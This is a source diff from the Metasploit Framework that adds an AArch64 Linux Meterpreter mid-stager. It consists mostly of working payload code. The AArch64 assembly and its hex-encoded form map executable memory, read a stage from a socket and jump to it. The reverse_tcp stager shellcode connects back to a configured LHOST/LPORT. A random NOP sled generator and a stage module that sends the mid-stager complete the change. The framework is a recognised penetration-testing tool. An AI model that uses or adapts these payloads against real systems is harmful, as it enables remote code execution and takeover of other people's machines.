Land #8904, Add Meterpreter mid-stager for AArch64
commit
3c1abe6437
|
@ -0,0 +1,98 @@
|
||||||
|
.equ SYS_READ, 0x3f
|
||||||
|
.equ SYS_MMAP, 0xde
|
||||||
|
.equ SYS_EXIT, 0x5d
|
||||||
|
|
||||||
|
start:
|
||||||
|
adr x2, size
|
||||||
|
ldr w2, [x2]
|
||||||
|
mov x10, x2
|
||||||
|
|
||||||
|
/* Page-align, assume <4GB */
|
||||||
|
lsr x2, x2, #12
|
||||||
|
add x2, x2, #1
|
||||||
|
lsl x2, x2, #12
|
||||||
|
|
||||||
|
/* mmap(addr=0, length='x2', prot=7, flags=34, fd=0, offset=0) */
|
||||||
|
mov x0, xzr
|
||||||
|
mov x1, x2
|
||||||
|
mov x2, #7
|
||||||
|
mov x3, #34
|
||||||
|
mov x4, xzr
|
||||||
|
mov x5, xzr
|
||||||
|
mov x8, SYS_MMAP
|
||||||
|
svc 0
|
||||||
|
|
||||||
|
/* Grab the saved size, save the address */
|
||||||
|
mov x4, x10
|
||||||
|
|
||||||
|
/* Save the memory address */
|
||||||
|
mov x3, x0
|
||||||
|
mov x10, x0
|
||||||
|
|
||||||
|
read_loop:
|
||||||
|
/* read(sockfd, buf='x3', nbytes='x4') */
|
||||||
|
mov x0, x12
|
||||||
|
mov x1, x3
|
||||||
|
mov x2, x4
|
||||||
|
mov x8, SYS_READ
|
||||||
|
svc 0
|
||||||
|
cbz w0, failed
|
||||||
|
add x3, x3, x0
|
||||||
|
subs x4, x4, x0
|
||||||
|
bne read_loop
|
||||||
|
|
||||||
|
/* add entry_offset */
|
||||||
|
adr x0, entry
|
||||||
|
ldr x0, [x0]
|
||||||
|
add x0, x0, x10
|
||||||
|
mov x14, x0
|
||||||
|
|
||||||
|
/* set up the initial stack */
|
||||||
|
mov x0, sp
|
||||||
|
and sp, x0, #-16
|
||||||
|
add sp, sp, #(16 * 6)
|
||||||
|
|
||||||
|
/* argc = 2, argv[0] = 'm' */
|
||||||
|
mov x0, #2
|
||||||
|
mov x1, #109
|
||||||
|
str x1, [sp]
|
||||||
|
mov x1, sp
|
||||||
|
|
||||||
|
mov x2, x12
|
||||||
|
mov x3, 0
|
||||||
|
|
||||||
|
mov x4, 0
|
||||||
|
mov x5, #7 /* AT_BASE */
|
||||||
|
|
||||||
|
mov x6, x10
|
||||||
|
mov x7, #6 /* AT_PAGESZ */
|
||||||
|
|
||||||
|
mov x8, #0x1000
|
||||||
|
mov x9, #25 /* AT_RANDOM */
|
||||||
|
|
||||||
|
mov x10, x10
|
||||||
|
mov x11, #0 /* AT_NULL */
|
||||||
|
|
||||||
|
stp x10, x11, [sp, #-16]!
|
||||||
|
stp x8, x9, [sp, #-16]!
|
||||||
|
stp x6, x7, [sp, #-16]!
|
||||||
|
stp x4, x5, [sp, #-16]!
|
||||||
|
stp x2, x3, [sp, #-16]!
|
||||||
|
stp x0, x1, [sp, #-16]!
|
||||||
|
|
||||||
|
mov x29, #0
|
||||||
|
mov x30, #0
|
||||||
|
br x14
|
||||||
|
|
||||||
|
failed:
|
||||||
|
mov x0, 0
|
||||||
|
mov x8, SYS_EXIT
|
||||||
|
svc 0
|
||||||
|
|
||||||
|
.balign 16
|
||||||
|
size:
|
||||||
|
.word 0
|
||||||
|
.word 0
|
||||||
|
entry:
|
||||||
|
.word 0
|
||||||
|
.word 0
|
|
@ -37,9 +37,10 @@ start:
|
||||||
mov x2, #4
|
mov x2, #4
|
||||||
mov x8, SYS_READ
|
mov x8, SYS_READ
|
||||||
svc 0
|
svc 0
|
||||||
cbz w0, failed
|
cmn x0, #0x1
|
||||||
|
beq failed
|
||||||
|
|
||||||
ldr x2, [sp,#0]
|
ldr w2, [sp,#0]
|
||||||
|
|
||||||
/* Page-align, assume <4GB */
|
/* Page-align, assume <4GB */
|
||||||
lsr x2, x2, #12
|
lsr x2, x2, #12
|
||||||
|
@ -53,12 +54,13 @@ start:
|
||||||
mov x3, #34
|
mov x3, #34
|
||||||
mov x4, xzr
|
mov x4, xzr
|
||||||
mov x5, xzr
|
mov x5, xzr
|
||||||
/* call mmap() */
|
mov x8, SYS_MMAP
|
||||||
movi x8, SYS_MMAP
|
|
||||||
svc 0
|
svc 0
|
||||||
|
cmn x0, #0x1
|
||||||
|
beq failed
|
||||||
|
|
||||||
/* Grab the saved size, save the address */
|
/* Grab the saved size, save the address */
|
||||||
ldr x4, [sp]
|
ldr w4, [sp]
|
||||||
|
|
||||||
/* Save the memory address */
|
/* Save the memory address */
|
||||||
str x0, [sp]
|
str x0, [sp]
|
||||||
|
@ -73,13 +75,15 @@ read_loop:
|
||||||
mov x2, x4
|
mov x2, x4
|
||||||
mov x8, SYS_READ
|
mov x8, SYS_READ
|
||||||
svc 0
|
svc 0
|
||||||
|
cmn x0, #0x1
|
||||||
|
beq failed
|
||||||
add x3, x3, x0
|
add x3, x3, x0
|
||||||
subs x4, x4, x0
|
subs x4, x4, x0
|
||||||
bne read_loop
|
bne read_loop
|
||||||
|
|
||||||
/* Go to shellcode */
|
/* Go to shellcode */
|
||||||
ldr x30, [sp]
|
ldr x0, [sp]
|
||||||
ret
|
blr x0
|
||||||
|
|
||||||
failed:
|
failed:
|
||||||
mov x0, 0
|
mov x0, 0
|
||||||
|
|
|
@ -165,6 +165,14 @@ require 'msf/core/exe/segment_appender'
|
||||||
# XXX: Add remaining ARMLE systems here
|
# XXX: Add remaining ARMLE systems here
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if arch.index(ARCH_AARCH64)
|
||||||
|
if plat.index(Msf::Module::Platform::Linux)
|
||||||
|
return to_linux_aarch64_elf(framework, code)
|
||||||
|
end
|
||||||
|
|
||||||
|
# XXX: Add remaining AARCH64 systems here
|
||||||
|
end
|
||||||
|
|
||||||
if arch.index(ARCH_PPC)
|
if arch.index(ARCH_PPC)
|
||||||
if plat.index(Msf::Module::Platform::OSX)
|
if plat.index(Msf::Module::Platform::OSX)
|
||||||
return to_osx_ppc_macho(framework, code)
|
return to_osx_ppc_macho(framework, code)
|
||||||
|
|
|
@ -0,0 +1,43 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# SingleByte
|
||||||
|
# ----------
|
||||||
|
#
|
||||||
|
# This class implements simple NOP generator for AARCH64
|
||||||
|
#
|
||||||
|
###
|
||||||
|
class MetasploitModule < Msf::Nop
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'Simple',
|
||||||
|
'Alias' => 'armle_simple',
|
||||||
|
'Description' => 'Simple NOP generator',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Arch' => ARCH_AARCH64)
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptBool.new('RandomNops', [ false, "Generate a random NOP sled", true ])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_sled(length, opts)
|
||||||
|
random = opts['Random'] || datastore['RandomNops']
|
||||||
|
nops = [
|
||||||
|
0xd503201f, # nop
|
||||||
|
0xaa0103e1, # mov x1, x1
|
||||||
|
0xaa0203e2, # mov x2, x2
|
||||||
|
0x2a0303e3, # mov w3, w3
|
||||||
|
0x2a0403e4, # mov w4, w4
|
||||||
|
]
|
||||||
|
if random
|
||||||
|
return ([nops[rand(nops.length)]].pack("V*") * (length/4))
|
||||||
|
end
|
||||||
|
return ([nops[0]].pack("V*") * (length/4))
|
||||||
|
end
|
||||||
|
end
|
|
@ -17,7 +17,7 @@ require 'msf/core/handler/reverse_tcp'
|
||||||
###
|
###
|
||||||
module MetasploitModule
|
module MetasploitModule
|
||||||
|
|
||||||
CachedSize = 192
|
CachedSize = 212
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Stager
|
||||||
|
|
||||||
|
@ -33,8 +33,8 @@ module MetasploitModule
|
||||||
{
|
{
|
||||||
'Offsets' =>
|
'Offsets' =>
|
||||||
{
|
{
|
||||||
'LPORT' => [ 186, 'n' ],
|
'LPORT' => [ 206, 'n' ],
|
||||||
'LHOST' => [ 188, 'ADDR' ],
|
'LHOST' => [ 208, 'ADDR' ],
|
||||||
},
|
},
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
[
|
[
|
||||||
|
@ -45,19 +45,20 @@ module MetasploitModule
|
||||||
0xd28018c8, # mov x8, #0xc6 // #198
|
0xd28018c8, # mov x8, #0xc6 // #198
|
||||||
0xd4000001, # svc #0x0
|
0xd4000001, # svc #0x0
|
||||||
0xaa0003ec, # mov x12, x0
|
0xaa0003ec, # mov x12, x0
|
||||||
0x10000501, # adr x1, b8 <sockaddr>
|
0x100005a1, # adr x1, cc <sockaddr>
|
||||||
0xd2800202, # mov x2, #0x10 // #16
|
0xd2800202, # mov x2, #0x10 // #16
|
||||||
0xd2801968, # mov x8, #0xcb // #203
|
0xd2801968, # mov x8, #0xcb // #203
|
||||||
0xd4000001, # svc #0x0
|
0xd4000001, # svc #0x0
|
||||||
0x35000420, # cbnz w0, ac <failed>
|
0x350004c0, # cbnz w0, c0 <failed>
|
||||||
0xaa0c03e0, # mov x0, x12
|
0xaa0c03e0, # mov x0, x12
|
||||||
0xd10043ff, # sub sp, sp, #0x10
|
0xd10043ff, # sub sp, sp, #0x10
|
||||||
0x910003e1, # mov x1, sp
|
0x910003e1, # mov x1, sp
|
||||||
0xd2800082, # mov x2, #0x4 // #4
|
0xd2800082, # mov x2, #0x4 // #4
|
||||||
0xd28007e8, # mov x8, #0x3f // #63
|
0xd28007e8, # mov x8, #0x3f // #63
|
||||||
0xd4000001, # svc #0x0
|
0xd4000001, # svc #0x0
|
||||||
0x34000340, # cbz w0, ac <failed>
|
0xb100041f, # cmn x0, #0x1
|
||||||
0xf94003e2, # ldr x2, [sp]
|
0x540003c0, # b.eq c0 <failed>
|
||||||
|
0xb94003e2, # ldr w2, [sp]
|
||||||
0xd34cfc42, # lsr x2, x2, #12
|
0xd34cfc42, # lsr x2, x2, #12
|
||||||
0x91000442, # add x2, x2, #0x1
|
0x91000442, # add x2, x2, #0x1
|
||||||
0xd374cc42, # lsl x2, x2, #12
|
0xd374cc42, # lsl x2, x2, #12
|
||||||
|
@ -69,7 +70,9 @@ module MetasploitModule
|
||||||
0xaa1f03e5, # mov x5, xzr
|
0xaa1f03e5, # mov x5, xzr
|
||||||
0xd2801bc8, # mov x8, #0xde // #222
|
0xd2801bc8, # mov x8, #0xde // #222
|
||||||
0xd4000001, # svc #0x0
|
0xd4000001, # svc #0x0
|
||||||
0xf94003e4, # ldr x4, [sp]
|
0xb100041f, # cmn x0, #0x1
|
||||||
|
0x54000200, # b.eq c0 <failed>
|
||||||
|
0xb94003e4, # ldr w4, [sp]
|
||||||
0xf90003e0, # str x0, [sp]
|
0xf90003e0, # str x0, [sp]
|
||||||
0xaa0003e3, # mov x3, x0
|
0xaa0003e3, # mov x3, x0
|
||||||
0xaa0c03e0, # mov x0, x12
|
0xaa0c03e0, # mov x0, x12
|
||||||
|
@ -77,11 +80,13 @@ module MetasploitModule
|
||||||
0xaa0403e2, # mov x2, x4
|
0xaa0403e2, # mov x2, x4
|
||||||
0xd28007e8, # mov x8, #0x3f // #63
|
0xd28007e8, # mov x8, #0x3f // #63
|
||||||
0xd4000001, # svc #0x0
|
0xd4000001, # svc #0x0
|
||||||
|
0xb100041f, # cmn x0, #0x1
|
||||||
|
0x540000c0, # b.eq c0 <failed>
|
||||||
0x8b000063, # add x3, x3, x0
|
0x8b000063, # add x3, x3, x0
|
||||||
0xeb000084, # subs x4, x4, x0
|
0xeb000084, # subs x4, x4, x0
|
||||||
0x54ffff21, # b.ne 84 <read_loop>
|
0x54fffee1, # b.ne 90 <read_loop>
|
||||||
0xf94003fe, # ldr x30, [sp]
|
0xf94003e0, # ldr x0, [sp]
|
||||||
0xd65f03c0, # ret
|
0xd63f0000, # blr x0
|
||||||
0xd2800000, # mov x0, #0x0 // #0
|
0xd2800000, # mov x0, #0x0 // #0
|
||||||
0xd2800ba8, # mov x8, #0x5d // #93
|
0xd2800ba8, # mov x8, #0x5d // #93
|
||||||
0xd4000001, # svc #0x0
|
0xd4000001, # svc #0x0
|
||||||
|
|
|
@ -0,0 +1,118 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/base/sessions/meterpreter_aarch64_linux'
|
||||||
|
require 'msf/base/sessions/meterpreter_options'
|
||||||
|
require 'msf/base/sessions/mettle_config'
|
||||||
|
require 'rex/elfparsey'
|
||||||
|
|
||||||
|
module MetasploitModule
|
||||||
|
include Msf::Sessions::MeterpreterOptions
|
||||||
|
include Msf::Sessions::MettleConfig
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'Linux Meterpreter',
|
||||||
|
'Description' => 'Inject the mettle server payload (staged)',
|
||||||
|
'Author' => [
|
||||||
|
'Adam Cammack <adam_cammack[at]rapid7.com>'
|
||||||
|
],
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => ARCH_AARCH64,
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Session' => Msf::Sessions::Meterpreter_aarch64_Linux
|
||||||
|
)
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def elf_ep(payload)
|
||||||
|
elf = Rex::ElfParsey::Elf.new(Rex::ImageSource::Memory.new(payload))
|
||||||
|
elf.elf_header.e_entry
|
||||||
|
end
|
||||||
|
|
||||||
|
def handle_intermediate_stage(conn, payload)
|
||||||
|
entry_offset = elf_ep(payload)
|
||||||
|
|
||||||
|
# Generated from external/source/shellcode/linux/aarch64/stage_mettle.s
|
||||||
|
midstager = [
|
||||||
|
|
||||||
|
0x10000782, # adr x2, f0 <size>
|
||||||
|
0xb9400042, # ldr w2, [x2]
|
||||||
|
0xaa0203ea, # mov x10, x2
|
||||||
|
0xd34cfc42, # lsr x2, x2, #12
|
||||||
|
0x91000442, # add x2, x2, #0x1
|
||||||
|
0xd374cc42, # lsl x2, x2, #12
|
||||||
|
0xaa1f03e0, # mov x0, xzr
|
||||||
|
0xaa0203e1, # mov x1, x2
|
||||||
|
0xd28000e2, # mov x2, #0x7 // #7
|
||||||
|
0xd2800443, # mov x3, #0x22 // #34
|
||||||
|
0xaa1f03e4, # mov x4, xzr
|
||||||
|
0xaa1f03e5, # mov x5, xzr
|
||||||
|
0xd2801bc8, # mov x8, #0xde // #222
|
||||||
|
0xd4000001, # svc #0x0
|
||||||
|
0xaa0a03e4, # mov x4, x10
|
||||||
|
0xaa0003e3, # mov x3, x0
|
||||||
|
0xaa0003ea, # mov x10, x0
|
||||||
|
0xaa0c03e0, # mov x0, x12
|
||||||
|
0xaa0303e1, # mov x1, x3
|
||||||
|
0xaa0403e2, # mov x2, x4
|
||||||
|
0xd28007e8, # mov x8, #0x3f // #63
|
||||||
|
0xd4000001, # svc #0x0
|
||||||
|
0x34000440, # cbz w0, e0 <failed>
|
||||||
|
0x8b000063, # add x3, x3, x0
|
||||||
|
0xeb000084, # subs x4, x4, x0
|
||||||
|
0x54ffff01, # b.ne 44 <read_loop>
|
||||||
|
0x10000480, # adr x0, f8 <entry>
|
||||||
|
0xf9400000, # ldr x0, [x0]
|
||||||
|
0x8b0a0000, # add x0, x0, x10
|
||||||
|
0xaa0003ee, # mov x14, x0
|
||||||
|
0x910003e0, # mov x0, sp
|
||||||
|
0x927cec1f, # and sp, x0, #0xfffffffffffffff0
|
||||||
|
0x910183ff, # add sp, sp, #0x60
|
||||||
|
0xd2800040, # mov x0, #0x2 // #2
|
||||||
|
0xd2800da1, # mov x1, #0x6d // #109
|
||||||
|
0xf90003e1, # str x1, [sp]
|
||||||
|
0x910003e1, # mov x1, sp
|
||||||
|
0xaa0c03e2, # mov x2, x12
|
||||||
|
0xd2800003, # mov x3, #0x0 // #0
|
||||||
|
0xd2800004, # mov x4, #0x0 // #0
|
||||||
|
0xd28000e5, # mov x5, #0x7 // #7
|
||||||
|
0xaa0a03e6, # mov x6, x10
|
||||||
|
0xd28000c7, # mov x7, #0x6 // #6
|
||||||
|
0xd2820008, # mov x8, #0x1000 // #4096
|
||||||
|
0xd2800329, # mov x9, #0x19 // #25
|
||||||
|
0xaa0a03ea, # mov x10, x10
|
||||||
|
0xd280000b, # mov x11, #0x0 // #0
|
||||||
|
0xa9bf2fea, # stp x10, x11, [sp,#-16]!
|
||||||
|
0xa9bf27e8, # stp x8, x9, [sp,#-16]!
|
||||||
|
0xa9bf1fe6, # stp x6, x7, [sp,#-16]!
|
||||||
|
0xa9bf17e4, # stp x4, x5, [sp,#-16]!
|
||||||
|
0xa9bf0fe2, # stp x2, x3, [sp,#-16]!
|
||||||
|
0xa9bf07e0, # stp x0, x1, [sp,#-16]!
|
||||||
|
0xd280001d, # mov x29, #0x0 // #0
|
||||||
|
0xd280001e, # mov x30, #0x0 // #0
|
||||||
|
0xd61f01c0, # br x14
|
||||||
|
0xd2800000, # mov x0, #0x0 // #0
|
||||||
|
0xd2800ba8, # mov x8, #0x5d // #93
|
||||||
|
0xd4000001, # svc #0x0
|
||||||
|
0xd503201f, # nop
|
||||||
|
payload.length,
|
||||||
|
0x00000000, # .word 0x00000000
|
||||||
|
entry_offset,
|
||||||
|
0x00000000, # .word 0x00000000
|
||||||
|
].pack('V*')
|
||||||
|
|
||||||
|
print_status("Transmitting intermediate midstager...(#{midstager.length} bytes)")
|
||||||
|
conn.put([midstager.length].pack('V'))
|
||||||
|
conn.put(midstager) == midstager.length
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_stage(opts = {})
|
||||||
|
MetasploitPayloads::Mettle.new('aarch64-linux-musl',
|
||||||
|
generate_config(opts.merge({scheme: 'tcp'}))).to_binary :process_image
|
||||||
|
end
|
||||||
|
end
|
|
@ -4442,6 +4442,17 @@ RSpec.describe 'modules/payloads', :content do
|
||||||
reference_name: 'linux/zarch/meterpreter_reverse_https'
|
reference_name: 'linux/zarch/meterpreter_reverse_https'
|
||||||
end
|
end
|
||||||
|
|
||||||
|
context 'linux/aarch64/meterpreter/reverse_tcp' do
|
||||||
|
it_should_behave_like 'payload cached size is consistent',
|
||||||
|
ancestor_reference_names: [
|
||||||
|
'stagers/linux/aarch64/reverse_tcp',
|
||||||
|
'stages/linux/aarch64/meterpreter'
|
||||||
|
],
|
||||||
|
dynamic_size: false,
|
||||||
|
modules_pathname: modules_pathname,
|
||||||
|
reference_name: 'linux/aarch64/meterpreter/reverse_tcp'
|
||||||
|
end
|
||||||
|
|
||||||
context 'linux/aarch64/meterpreter_reverse_tcp' do
|
context 'linux/aarch64/meterpreter_reverse_tcp' do
|
||||||
it_should_behave_like 'payload cached size is consistent',
|
it_should_behave_like 'payload cached size is consistent',
|
||||||
ancestor_reference_names: [
|
ancestor_reference_names: [
|
||||||
|
|
Loading…
Reference in New Issue